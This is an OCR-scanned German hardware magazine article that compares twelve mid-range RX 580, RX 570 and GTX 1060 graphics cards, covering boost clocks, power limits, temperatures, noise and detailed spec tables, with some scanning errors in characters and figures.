die andere Grafikkarte, sofern Re- 
ferenzfrequenzen verglichen wer- 
den. Auf lange Sicht dürfte die RX 
580/8G ebenso wie die RX 480/8G 
dank ihrer Speicherkapazität Bo- 
den gutmachen - spätestens die 
Herbst-Blockbuster werden Klar- 
heit schaffen. Der GTX 1060 bleibt 
im Duell jedoch ein klarer Vorteil, 
den sie immer ausspielen kann: Sie 
benótigt unter Volllast wesentlich 
weniger Energie als eine RX 580. 
Das erlaubt den Partnern, kompak- 
te Modelle mit scheinbar schmách- 
tiger Kühlung zu veróffentlichen, 
die dennoch leise arbeiten. Die 
Asus GTX 1060 Strix O6G-9Gbps 


und Zotac GTX 1060 AMP- de- 
monstrieren das recht eindrucks- 
voll, wobei vor allem Asus ein 
Zeichen setzt: Die „alte“ Strix mit 
8-Gbps-RAM ist noch ein 30-Zen- 
timeter-Koloss, ihre Nachfolgerin 
schrumpft auf 21,7 cm und wird 
mit einer geringeren Leistungsauf- 
nahme spezifiziert. Das führt zu 
hóherer Effizienz und geringerer 
Lautheit, allerdings auch zum Ku- 
riosum, dass die neue Karte in den 
Benchmarks hinter dem Altmeister 
landet. Zotac übernimmt indessen 
das Design der GTX 1060 AMP, wo- 
mit die AMP+ dank höherer Trans- 
ferrate minimal schneller rechnet. 


Das im BIOS hinterlegte Powerli- 
mit bestimmt den Boost und somit 
die Leistung aller GTX-1060-Karten 
- mehr ist bis zu einem bestimmten 
Punkt („Sweet Spot“) besser. Die 
Platzierung sehen Sie im Bench- 
mark der Randspalte und die von 
uns gemessene (maximale) Leis- 
tungsaufnahme passt zur Rangfol- 
ge: 120 Watt bei Zotac, 132 Watt bei 
Asus und 148 Watt bei Gigabyte. 
Die letztgenannte Karte mit dem 
sperrigen Namen GTX 1060 Aorus 
Xtreme Edition 6G 9Gbps ist das 
genaue Gegenteil der anderen: Sie 
ist auf maximale Leistung ausgelegt 
und liefert daher wesentlich mehr 
als notwendig. Ihr Kühler ist drei 
Einbauplätze (5,5 cm) hoch und 
das Powerlimit ist im Gegensatz zu 
den Mitbewerbern selbst bei star- 
ker Übertaktung kein Hemmschuh, 
der Boost steht wie ,angetackert". 


Angesichts der Kühlergröße ver- 
wundert es nicht, dass die Giga- 
byte-Karte die geringsten Tempe- 
raturwerte erzielt: 64 °C werden 
hóchstens erreicht, rund 10 °C 
weniger als bei Asus und Zotac. Das 
geschieht bei geringer Lautstärke, 
die drei Probanden sind allesamt 
leise: 1,0 Sone bei Zotac, 1,1 bei 
Gigabyte und 1,4 bei Asus. Bei al- 
ler Euphorie um die Aorus sollte 
nicht unerwähnt bleiben, dass die 
Karte aufgrund ihrer Größe nicht 
in jeden PC passt und der Preis von 
circa 340 Euro gefährlich nahe an 
das Revier der Geforce GTX 1070 
herankommt. 


Radeon RX 580 (8 und 4 GiByte): Die 
sechs schnellsten Grafikkarten der 
AMD-Partner. Die Radeon RX 580 
erreicht als 8-GiByte-Referenzde- 
sign mit 1.540 MHz Kern- sowie 
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4.000 MHz Speichertakt einen 
PCGH-Index von 48,0. Die 4-Gi- 
Byte-Variante muss sich mit 3.500 
MHz Speichertakt begnügen und 
erzielt daher den Wert 45,5. Das 
8-GiByte-Modell steht klar im Fokus 
der AMD-Partner und ist außerdem 
unsere Empfehlung, um kommen- 
den, speicherintensiven Spielen 
souverän zu begegnen. 


Fünf Modelle mit 8 und eines mit 
4 GiByte Speicher haben den Test 
absolviert - unterschiedlich erfolg- 
reich. Wie bei den Geforce-Karten 
spielt das Powerlimit eine wichti- 
ge Rolle, wobei das System andere 
Parameter priorisiert: Anstelle der 
gesamten Boardpower legen die 
Hersteller das Power Delivery Li- 
mit für den Grafikprozessor allein 
fest. Man spricht daher auch von 
der GPU-TDP in Watt. Je höher die- 
ses Limit, desto wahrscheinlicher 
ist es, dass der Boost selbst in po- 
werintensiven Spielen aufrechter- 
halten werden kann. Die Kehrseite 
ist naheliegend: Je größer die Leis- 
tungsaufnahme, desto wichtiger 
ist ordentliche Kühlung. Die Effi- 


zienzkurve geht ab einer bestimm- 
ten Grenze auf Talfahrt, da sich 
eine höhere Spannung quadratisch 
auf die Verlustleistung auswirkt. 
Zur GPU-TDP addieren sich näm- 
lich die übrigen Verbraucher, von 
denen die wichtigsten der Speicher 
und die Spannungswandler sind. 
Führen wir uns vor Augen, dass 
die GPU-TDP der meisten RX-580- 
Chips höher liegt als die gesamte 
Boardpower der GTX-1060-Karten, 
wird klar, warum so viele AMD- 
Partner dieser Herausforderung 
mithilfe voluminöser Kühldesigns 
begegnen: Die am höchsten takten- 
den Modelle setzen auf 4,5 bis 5,4 
Zentimeter Kühlerhöhe (2,5- bis 
Triple-Slot), flankiert von verbrei- 
terten Platinen, um die Kühlfläche 
unter Vermeidung extremer Länge 
zu erweitern. Wir haben daher alle 
relevanten Maße in der Testtabelle 
am Ende des Artikels hinterlegt. 


Die Quintessenz aller Messungen 
ist trotz dieser Bemühungen er- 
nüchternd: Das höchste Powerlimit 
sichert den entsprechenden Kar- 
ten sowohl den längsten Bench- 


markbalken als auch den längsten 
Verbrauchsbalken - und nur einer 
dieser „Siege“ ist erwünscht. Kein 
Modell kann sich im Test über die 
physikalischen Gesetze stellen. 


Beginnen wir bei der knapp 
schnellsten Radeon RX 580: Power- 
colors Red Devil Golden Sample - 
es existiert auch eine langsamere 
Red Devil - kann dank 190 Watt 
GPU-TDP ihren Maximalboost von 
1.425 MHz in fast jeder Situation 
halten. Dahinter folgen dicht ge- 
drängt Gigabytes Aorus XTR und 
Asus’ Strix TOP mit jeweils 180 W 
GPU-TDP und Mindestboosts um 
1.410 MHz. Weitere fünf Watt we- 
niger darf sich der Polaris-Chip auf 
Sapphires RX 580 Nitro+ Limited 
Edition genehmigen, womit sie 
mindestens 1.380 MHz erreicht 
- zumindest mit dem im Ausliefe- 
rungszustand aktiven Silent-BIOS. 
Auf Wunsch kann per Schalter und 
anschließendem Rechnerneustart 
die Boost-Firmware verwendet 
werden, die dank 185 W GPU-TDP 
(und wesentlich höherer Lautstär- 
ke) für mindestens 1.420 und in 


den meisten Spielen sogar 1.450 
MHz gut ist - schneller ist keine 
andere RX 580. Bei Powercolor ist's 
andersherum, hier ist das Silent- 
BIOS sekundär. Wir haben alle 
Karten mit ihrem Standard-BIOS 
bewertet. 


Die MSI Gaming X 8G und Asus 
Dual OG verzichten auf ein Dual- 
BIOS und müssen aufgrund ihrer 
strafferen Powerlimits ein paar Fe- 
dern lassen: Die MSI-Karte erreicht 
mit 165 W GPU-TDP mindestens 
1.320 MHz und die Asus Dual mit 
145 W schlimmstenfalls 1.260 MHz. 
Das ist insofern bemerkenswert, als 
wir die RX 580 mit ihrem Referenz- 
boost von 1.340 MHz indizieren 
und alle Karten mit mehr als die- 
sem Takt werben - in anspruchs- 
vollen Spielen wie The Witcher 3 
und Anno 2070, anhand derer wir 
die Mindestboosts ermitteln, kón- 
nen sie diese aber nicht halten. 
Während die Gaming X den He- 
xer noch mit dem Referenzboost 
befeuern kann, fällt die Asus Dual 
auch hier auf rund 1.270 MHz und 
fáhrt damit einen Malus bei der 


GTX 1060-9Gbps: Verfügbar als David und als Goliath 


Während großer Materialaufwand bei 
High-End-Grafikkarten notwendig ist, 
haben die Hersteller bei der Mittel- 
klasse die Wahl. Ein Vergleich. 


Die Geforce GTX 1060 verdient die Bezeich- 
nung Mittelklasse wie kaum eine andere 
Grafikkarte: Zwischen GTX 1050 Ti und GTX 
1070 klafft eine große Lücke, die sich am 
besten mithilfe einer Produktstaffelung fül- 
len lässt. Diese nimmt nicht jeder Hersteller 
in seinem eigenen Portfolio vor, doch legt 
man alle Designs nebeneinander, lässt sich 
der Abstand fast lückenlos füllen. 


In diesem Vergleich sehen Sie die Basisver- 
sion einer GTX 1060-9Gbps im Vergleich 
mit einem hochgezüchteten Premiummodell. 
Zotac (unten) installiert nicht mehr als die 
wirklich notwendigen Bauteile auf seiner 
AMP+ und verzichtet auf voluminöse Küh- 
lung. Gigabyte pflanzt den kleinen GP106- 
Chip hingegen auf eine wesentlich größere 
Platine mit weiteren Wandlerzügen und 
dem VR-Link (zusátzliche HDMI-Ports am 
Heck). Der groBe Kühler bedeckt beinahe 
die komplette Fläche. Beachten Sie auch die 
um 90? gedrehte GPU bei Zotac sowie die 
dazu passenden freien Lótstellen. Die PCBs 
könnten ergo auch eine „GTX 1065" mit 
256 Bit und 8 GiByte ansteuern. 


au 
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Kaufen Sie eine AMD Radeon, 
wenn Sie ... 


... ein Freesync-Display besitzen oder kaufen möchten. 

... Im Rahmen des Treiberlieferumfangs übertakten und Videos/Screenshots 
erstellen möchten (Wattman und Relive) — ohne Registrierung. 

... die Sparfunktion Zero Core Power im Leerlauf nutzen möchten (wenn der 
Bildschirm abschaltet, tut es auch die Grafikkarte -> Verbrauch unter 5 Watt). 

... auf die Vorteile der Mantle-API (u. a. in Dragon Age Inquisition und Plants 
versus Zombies: Garden Warfare) aus sind. 

... AMDs Virtual Super Resolution (VSR) nutzen möchten - funktioniert im Ge- 
gensatz zu DSR jedoch nicht mit allen Bildschirmen, u. a. 21:9-Support fehlt. 

... Crossfire X (Multi-GPU) nutzen möchten. 


GP102-400-A1 


Kaufen Sie eine Nvidia Geforce, 
wenn Sie ... 


Е... ein G-Sync-Display besitzen oder kaufen möchten. 
I... Wert auf СОРА legen (u. a. GPU-Physx wie in Mafia 2, Batman: Arkham 


Knight und Borderlands 2). 

... diverse Spiele (u. a. GTA 5, AC Syndicate und Watch Dogs 2) mit dem hoch- 
wertigen TXAA aufwerten möchten. 

... das flexibelste Downsampling (DSR) in allen Spielen nutzen möchten. 

... Zugriff auf AA-/SLI-Bits, versteckte Anti-Aliasing-Modi etc. für alte DX9-Spiele 
wünschen (benótigt das 3rd-Party-Tool Nvidia Inspector). 


... Sich die Option auf SLI (Multi-GPU) freihalten wollen. 


Schalten und Walten bei Radeon-Grafikkarten 


Während Asus, MSI und Gigabyte auf Profile in ihren hauseigenen Tuning-Tools setzen, liefern Powercolor und Sapphire ihre Karten mit einer zweiten Firmware aus, welche 
sich mithilfe eines Schalters aktivieren lässt. Der Nutzer erhält dadurch nicht nur ein Backup-BIOS, sondern auch unterschiedliche Betriebsmodi: Silent/Quiet und Boost/OC. 
Die Powercolor-Karten im Test werden standardmäßig mit dem Boost-BIOS ausgeliefert, ebenso die RX 570 Nitro+. Die RX 580 Nitro- in der Limited Edition kommt hingegen 
standardmäßig mit aktivem Silent-BIOS. Powercolor erlaubt es bei seiner RX 580 Red Devil Golden Sample außerdem, die Beleuchtung auszuknipsen. 


BIOS-Schalter bei Powercolor RX 570 Red Devil Der BIOS-Schalter bei Powercolor RX 580 Red Devil GS ist nicht genug ... 


... hier dürfen Sie auch die LED-Beleuchtung aus- und wieder einschalten. 
2,4 1 


f, 


38 PC Games Hardware | 07/17 


www.pcgameshardware.de 


12 x RX 500 & GTX 1060-9Gbps im Test | GRAFIKKARTEN 


Leistungsnote ein. Wer die Span- 
nungen via Wattman oder anderen 
OC-Tools senkt, erhàlt mit etwas 
Glück immer den Maximalboost 
und senkt zugleich den Verbrauch. 


Letzterer wirkt sich auch auf die 
Lautheit aus. Erfreulicherweise er- 
zielen die meisten Probanden gute 
Werte unter Volllast. Rund 2,0 Sone 
bei 75 °C Kerntemperatur sind die 
Regel, Details finden Sie in der Test- 
tabelle. Auffällig ist nur die Asus 
Strix TOP, deren Temperaturziel 
- wie bei der Vorgängerin mit 480- 
Chip - auf unnötig tief angesetzten 
65 °C steht. Der Hersteller gibt auf 
Nachfrage zu Protokoll, dass Inte- 
ressenten auf der Asus-Website ein 
Silent-BIOS beziehen können. Al- 


liefert die RX 570 Nitro+ 8GD5 so- 
mit keinen Anlass zur Kritik, wenn 
man vom relativ hohen Preis auf 
RX-580-Niveau absieht. Achtung, 
der Kühler sprengt die Dual-Slot- 
Maße leicht (3,8 anstatt 3,5 Zenti- 
meter Höhe). Powercolors RX 570 
Red Devil setzt andere Schwer- 
punkte. Die Karte basiert auf dem 
30-Zentimeter-Design der RX 480 
Red Devil und bietet ein Dual-BIOS 
(siehe Bilder). Mit der werkseitig 
aktiven OC-Firmware kann sie ih- 
ren Maximalboost von 1.320 MHz 
halten und gehört damit zu den 
kráftigsten Modellen am Markt. 
Die Lautheit beträgt beim Spielen 
schlimmstenfalls 2,7 Sone (befrie- 
digend), kann unter Compute-Last 


STATUS 3 STATUS 4 


STATUS 5 


1170 


STATUS 5 


STATUS 5 


aber hóher ausfallen. (rv) 
ternativ hilft ein Heraufsetzen der 
Zieltemperatur auf 75 °C. 


Radeon RX 570 (8 und 4 GiByte): Drei 

Modelle des Preis-Leistungs-Tipps Grafikkarten bis 350 Euro 

im Vergleich. Die Radeon RX 570 ist 12 Mittelklasse-Grafikkarten mussten 

wie die 580 sowohl mit 4 als auch sich beweisen und die meisten sind 

mit 8 GiByte Speicher erhältlich, eine Empfehlung wert. Was folgt, sind 

wobei die letztgenannte Kapazi- die Testtabellen mit unzähligen wei- 

tät auførund der preislichen Nähe teren Messwerten. Studieren Sie alle 

Pus 5 Eine SE spiclt Daten und Eindrücke in diesem Artikel STATUSO STATUS1 STATUS2  STATUS3  STATUS4 STATUSS STATUS6  STATUS7 

Die RX 570/4G erreicht im РОС gut und gehen Sie erst dann auf Shop- 
ded 4 ping-Tour, denn nicht jedes Modell ist 

dM u a allen Anforderungen gewachsen. 

und der RX 480/4G (43,7) liegt, die 

RX 570/8G rangiert bei 42,1. 


1170 1210 


Radeon Wattman: In diesem Beispiel haben wir die Sapphire RX 580 Nitro+ Ltd. bis 
ans stabile Limit undervoltet. Der Boost stabilisiert sich vollständig auf 1.411 MHz 
und die Leistungsaufnahme in Anno 2070 sinkt von 215 auf 191 Watt (-11 %). 


Die drei getesteten Modelle könn- 
ten unterschiedlicher kaum sein 
und decken damit fast jedes Faible 
ab. Da wäre unser Spar-Tipp, die 
Sapphire RX 570 Pulse ITX, welche 
Referenztaktraten und 180 Watt 
Gesamtleistungsaufnahme in 17 
Zentimeter Baulänge unterbringt. 
Der mit nur einem Lüfter bestückte 
Dual-Slot-Kühler versorgt alle Hitze- 


quellen und arbeitet selbst unter li m: en mms 

Dauerlast angenehm leise. Ähnli- pac Ба тин аллаа | 
ches gilt für die zweite Sapphire RX | A | 
570 im Bunde, die Nitro+. Dieses EM 2 00 46-0 5 7 11 12 13 ` ve 


> 
©] 
N 


Modell deckt das andere Ende des 
Leistungsspektrums ab: Neben sat- 
ten 8 GiByte Speicher - der mit RX- 
570- und nicht etwa RX-580-Takt 
läuft - verfügt diese Karte über 
ein deutlich höheres Powerlimit 
und kann somit ihren Boost weit 
oben halten. Zur Erinnerung: Der 
Referenzboost einer Radeon RX 
570 beträgt 1.244 MHz, die Nitro+ 
erreicht mindestens 1.320 MHz (+6 | 
%) - die Pulse fällt aufgrund ihres 
engen Power-Korsetts auf bis zu | 
1.130 MHz ab (-9 %). Unterm Strich | = eg — 


Eine Grafikeinheit, zwei Heran- 
gehensweisen: Sapphires RX 570 
Pulse ITX ist sparsam und kompakt, 
Powercolors RX 570 Red Devil 
hingegen auf höhere Leistung ge- 
trimmt und daher 13 cm länger. Das 
richtige Modell hängt daher vom 
geplanten Einsatzzweck ab. 
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GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Hersteller/Webseite 


ae 
AON 


pus Gigabyte 
GTX 1060 Xtreme Edition 6G. 


Нагйшаге 


Gigabyte (www.gigabyte.de) 


Produktname GTX 1060 Aorus Xtreme Ed. 6G 9Gbps GTX 1060 AMP!+ GTX 1060 Strix O6G-9Gbps 


Zotac (www.zotac.com) 


Asus (www.asus.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 340,-/ausreichend 


Ca. € 280,-/befriedigend 


Ca. € 330,-/ausreichend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1613097 


www.pcgh.de/preis/1605045 


www.pcgh.de/preis/1612603 


2D-Takt GPU/RAM (Spannung) 


253/405 MHz (0,625 VGPU) 


253/405 MHz (0,625 VGPU) 


240/405 MHz (0,625 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.620 (Boost: 1.974+)/4.514 MHz (+16/0 % OC) 
2,38 
6.144 MiByte (192 Bit) 


1.607 (Boost: 1.860-)/4.514 MHz (+9/0 % ОС) 
2,33 
6.144 MiByte (192 Bit) 


1.595 (Boost: 1.911+)/4.514 MHz (+12/0 % OC) 
2,38 
6.144 MiByte (192 Bit) 


Speicherart/Hersteller 


9-Gbps-GDDR5 (Samsung K4G80325F8-HC22; 1,5V) 


9-Gbps-GDDR5 (Samsung K4G80325F8-HC22; 1,5V) 


9-Gbps-GDDR5 (Samsung K4G80325FB-HC22; 1,5V) 


Monitoranschlüsse 


3 x DP 1.4, 1 x HDMI 2.06, 1 x DVI-D (+ 2 x HDMI am Heck) 


3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 


Kühlung Windforce 2x, Triple-Slot, 4 Heatp. (3 x 8, 1 x 6 mm), 2 x 95 Eigendesign, Dual-Slot, 2 Heatp. à 8 mm, 2 x 85 mm axial, Direct CU 2, Dual-Slot, 4 DT-Heatp. (2 x 8, 2 x 6 mm), 2 x 75 
mm axial, Korpus bedeckt VRMs & RAM; Backplate (inkl. Pads) — | Korpus bedeckt RAM; kleines, verschraubtes VRM-Profil mm axial, Kühlprofil für VRMs (RAM: blank); Backplate (o. Pads) 

Software/Tools/Spiele Aorus Graphics Engine (Tweak-Tool), Treiber Firestorm (Tweak-Tool), Treiber GPU Tweak II (Tweak-Tool), Treiber, Software 

Handbuch; Garantie Gedruckt (deutsch); 4 Jahre nach Registrierung bei Gigabyte | Faltblatt (dt.); 2 Jahre — 5 nach Registrierung bei Zotac Faltblatt (deutsch); 3 Jahre 

Kabel/Adapter/Beigaben = 1 x Strom: 2xMolex-auf-6-Pol - 

Sonstiges Custom-PCB mit 6+1 Phasen und „VR Link" (2 HDMI-Ports ТОР: 120 Watt; Lüfter drehen ab -58 °C GPU-Temperatur Custom-PCB mit 11,0 cm Breite; TDP: 132 Watt; Lüfter drehen 
am Heck); TDP: 200 Watt; Lüfter drehen ab -52 °C GPU-Temp. ab -57 °C GPU-Temperatur 

Eigenschaften (20 %) 184 1,86 1,96 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 37/64/64 Grad Celsius 39/75/75 Grad Celsius 39/70/70 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,1 (53 %)/1,1 (53 %) Sone 


0,0 (passiv)/1,0 (46 %)/1,0 (46 %) Sone 


0,0 (passiv)/1,4 (48 %)/1,4 (48 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


12/17/13 Watt 


9/15/10 Watt 


9/12/10 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


126/148/149 Watt (Powertarget: 100 Prozent) 


121/121/121 Watt (Powertarget: 100 Prozent) 


126/132/132 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.150 MHz mit 100 96 Power/Voltage (+9 %) 


2.050 MHz mit 100 % Power/Voltage (+10 96) 


72.075 MHz mit 100 % Power/Voltage (+9 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


5.000 MHz mit 100 96 Power/Voltage (+11 %) 


4.900 MHz mit 100 % Power/Voltage (+9 %) 


5.100 MHz mit 100 % Power/Voltage (+13 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 112 % (= 225W) 


Ja (GPU bis 100 %; Powerlimit bis 116 % (= 140W) 


Ja (GPU bis 100 %; Powerlimit bis 113 % (= 150W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


28,0 (PCB: 26,8x 11,0)/5,5 cm; 1 x 8-Pol (vertikal) 
2,76 


© Kompromissloser Kühler, hohe Leistung 
Q VR-Link & 4 Jahre Garantie 
© Hoher Preis 


Wertung: 2,50 


21,2 (PCB: 17,4x10,0)/3,4 cm; 1 x 6-Pol (vertikal) 
2,83 


© Kompakt und leise 
© Hohe Energie-Effizienz ... 
© ... aber daher limitiertes OC-Potenzial 


Wertung: 2,53 


21,7 (PCB: 17,0x11,0)/3,5 cm; 1 x 6-Pol (vertikal) 
2,80 


© 3 Jahre Garantie 
© Hohe Energie P 2... 
©... aber daher limitiertes OC-Potenzial 


Wertung: 2,54 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


x, De 


ap 
| EK 

€» 

TOP-TECHNIK 


Sapphire 
RX 580 Мо» Limited Edition 


Нагйшаге 


RX 580 Nitro+ Limited Edition 


Sapphire (www.sapphiretech.com) 


"mm 972017 


Powercolor 


KX $80 Red Devil Golden Sample 


Нагйшаге 


RX 580 Red Devil Golden Sample 


Powercolor (www.powercolor.com/de) 


RX 580 Aorus XTR 8G 
Gigabyte (www.gigabyte.de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 310,-/ausreichend 


Ca. € 290,-/ausreichend 


Ca. € 280,-/befriedigend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1610153 


www.pcgh.de/preis/1609947 


www.pcgh.de/preis/1610162 


2D-Takt GPU/RAM (Spannung) 


300/300 MHz (0,800 VGPU) 


300/300 MHz (0,8125 VGPU) 


300/300 MHz (0,800 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
‚Ausstattung (20 %) 
Speichermenge/Anbindung 


1.380+ (max. Boost: 1.450)/4.000 MHz (+3/0 % OC) 
2,18 
8.192 MiByte (256 Bit) 


1.4204- (max. Boost: 1.425)/4.000 MHz (+6/0 96 OC) 
2,35 
8.192 MiByte (256 Bit) 


1.410+ (max. Boost: 1.425)/4.000 MHz (+5/0 96 OC) 
2,23 
8.192 MiByte (256 Bit) 


Speicherart/Hersteller 


8-Gbps-GDDR5 (SK-Hynix H5GQ8H24MJR-RAC; 1,55V) 


8-Gbps-GDDR5 (Samsung K4G80325F8-HC25; 1,5V) 


8-Gbps-GDDR5 (Samsung K4G80325FB-HC25; 1,5V) 


Monitoranschlüsse 


2 x Displayport 1.4, 2 x HDMI 2.06, 1 x DVI-D 


3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport 1.4, 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung Eigendesign, 2,5-Slot, 4 Heatp. (2 х 8, 2 x 6 mm), 2 x 95 mm |Eigendesign, Triple-Slot, 5 Heatp. (4 x 8, 1 x 6 mm), 2 x 95 Windforce 2x, Triple-Slot, 4 Heatp. (1 x 8, 3 x 6 mm), 2 x 95 
axial, Korpus bedeckt VRMs & RAM; Backplate (inkl. Pads) mm axial, Korpus bedeckt VRMs & RAM; Backplate (o. Pads) _ | mm axial, Korpus bedeckt VRMs & RAM; Backplate (inkl. Pads) 
Software/Tools/Spiele Treiber Treiber Aorus Graphics Engine (Tweak-Tool), Treiber 


Handbuch; Garantie 


Faltblatt (deutsch); 3 Jahre 


Faltblatt (deutsch); 2 Jahre 


Gedruckt (deutsch); 4 Jahre nach Registrierung bei Gigabyte 


Kabel/Adapter/Beigaben 


2 x Extralüfter mit Blue-LEDs; Einladung zum Sapphire-Club 


Devilclub-Einladung (für Support, BIOS-Updates etc.) 


Aufkleber 


Sonstiges GPU-TDPs: 185W (Boost-BIOS) oder 175W (Silent-BIOS) — be- | GPU-TDPs: 190W (OC, 75 °C TT)/180W (Silent, 80 °C TT) — ge- | 180W GPU-TDP; Temperature Target 73 °C; Lüfter drehen ab 
wertet mit Silent (Werkszustand), Lüfter drehen ab -55 °C testet mit OC-BIOS (Werkszustand); Lüfter drehen ab -59 °C |-51 °C GPU-Temperatur 

Eigenschaften (20 %) 2,21 2,24 2,33 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 48/75/77 Grad Celsius 37/76/76 Grad Celsius 43/74/74 Grad Celsius 

Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 0,0 (passiv)/1,5 (30 %)/1,7 (32 %) Sone 0,0 (passiv)/1,9 (47 %)/2,5 (51 %) Sone 0,0 (passiv)/2,1 (50 %)/2,1 (50 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


16/29/43 Watt 


13/25/38 Watt 


18/30/44 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


209/215/233 Watt (Powertune: Standard) 


211/240/246 Watt (Powertune: Standard) 


226/268/269 Watt (Powertune: Standard) 


Maximale GPU-Übertaktung (UHD-stabil) 


1.500 MHz mit max. Voltage/Fan via Wattman (+6 %) 


1.450 MHz mit max. Voltage/Fan via Wattman (+2 96) 


1.450 MHz mit max. Voltage/Fan via Wattman (+3 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


4.500 MHz mit max. Voltage/Fan via Wattman (+13 96) 


4.500 MHz mit max. Voltage/Fan via Wattman (+13 96) 


4.500 MHz mit max. Voltage/Fan via Wattman (+13 96) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU/RAM-Ctlr. bis 1,2 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,2 Volt), Powerlimit bis +50 96. 


Ја (GPU/RAM-Ctir. bis 1,2 Volt), Powerlimit bis +50 96 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 
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26,2 (PCB 24,0x10,8)/4,5 cm; 1x 8-/1x 6-Pol (vertikal) 
2,89 


© Schnellste RX 580 (nur mit Boost-BIOS) 
© Leise Kühlung (mit Silent-BIOS) 
© Hoher Preis wegen Liefersituation 


‚61 


24,1 (PCB 24,0x11,8)/5,1 cm; 1x 8-/1x 6-Pol (vertikal) 
2,83 


© Konstanter, hoher Boost 
© Sehr gute Kühlung 
© Platzbedarf (Triple-Slot) 


Wertung: 2,6 


27,6 (РСВ 23,5x9,8)/5,4 cm; 1x 8-/1x 6-Pol (vertikal) 
2,86 


© Kompromissloser, starker Kühler 
© Konstanter, hoher Boost ... 
©... und daher großer Stromdurst 


Wertung: 2,63 


www.pcgameshardware.de 


12 x RX 500 & GTX 1060-9Gbps im Test | GRAFIKKARTEN 


GRAFIKKARIEN 


А кара 


Produktname 
Hersteller/Webseite 


RX 580 Gam 
MSI (http://de.msi.com) 


RX 580 Strix TOP 


Asus (www.asus.com/de) 


Sapphire (www.sapphiretech.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


2D-Takt GPU/RAM (Spannung) 


Ca. € 290,-/befriedigend 


Ca. € 320,-/ausreichend 


Ca. € 250,-/ausreichend 


www.pcgh.de/preis/1610032 


www.pcgh.de/preis/1610158 


Ранее 


300/300 MHz (0,806 VGPU) 


300/300 MHz (0,800 VGPU) 


300/300 MHz (-0,8125 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.320+ (max. Boost: 1.380)/4.000 MHz (effektiv kein OC) 
223 
8.192 MiByte (256 Bit) 


1.405+ (max. Boost: 1.411)/4.000 MHz (+5/0 96 OC) 
2,25 
8.192 MiByte (256 Bit) 


1.320+ (max. Boost: 1.340)/3.500 MHz (+6/0 % OC) 


2,18 
8.192 MiByte (256 Bit) 


Speicherart/Hersteller 8-Gbps-GDDR5 (Samsung K4G80325FB-HC25; 1,5V) 8-Gbps-GDDR5 (Samsung K4G80325FB-HC25; 1,5V) 8-Gbps-GDDR5 (Micron MT51J256M32HF-70; 1,5V) 

Monitoranschlüsse 2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 2 x Displayport 1.4, 2 x HDMI 2.0b, 1 x DVI-D 

Kühlung Twin Frozr VI, Dual-Slot, 3 Heatp. (1 x 8 mm, 2 x 6 тт), 2 х | Eigendesign, 2,5-Slot, 6 Heatpipes à 6 mm, 3 x 90 mm axial, | Eigendesign, 2,5-Slot, 4 Heatp. (2 x 8, 2 x 6 mm), 2 x 95 mm 
95 mm axial, Kühlplatte für VRMs & RAM; Backplate (o. Pads) |Kühlplatte/Pads für Wandler & RAM; Backplate (ohne Pads) |axial, Korpus bedeckt VRMs & RAM; Backplate (inkl. Pads) 

Software/Tools/Spiele MSI Afterburner & Gaming App, Treiber GPU Tweak Il (Tweak-Tool), Treiber, Software Treiber 


Handbuch; Garantie 


Comic als Anleitung (engl.) + Faltblatt (dt.); 3 Jahre 


Faltblatt (deutsch); 3 Jahre 


Faltblatt (deutsch); 3 Jahre 


Kabel/Adapter/Beigaben 


Kabelbinder (Stoff) 


Einladung zum „Sapphire Select"-Club (für Support) 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Custom-PCB (6+2 Phasen); 165W GPU-TDP; kein Dual-BIOS, 
Lüfter drehen ab -62 °C; Temp-Target 75 °C 


2,12 
45/75/75 Grad Celsius 


Custom-PCB, Spannungsmessp.; 2 Lüfteranschlüsse am Heck; 
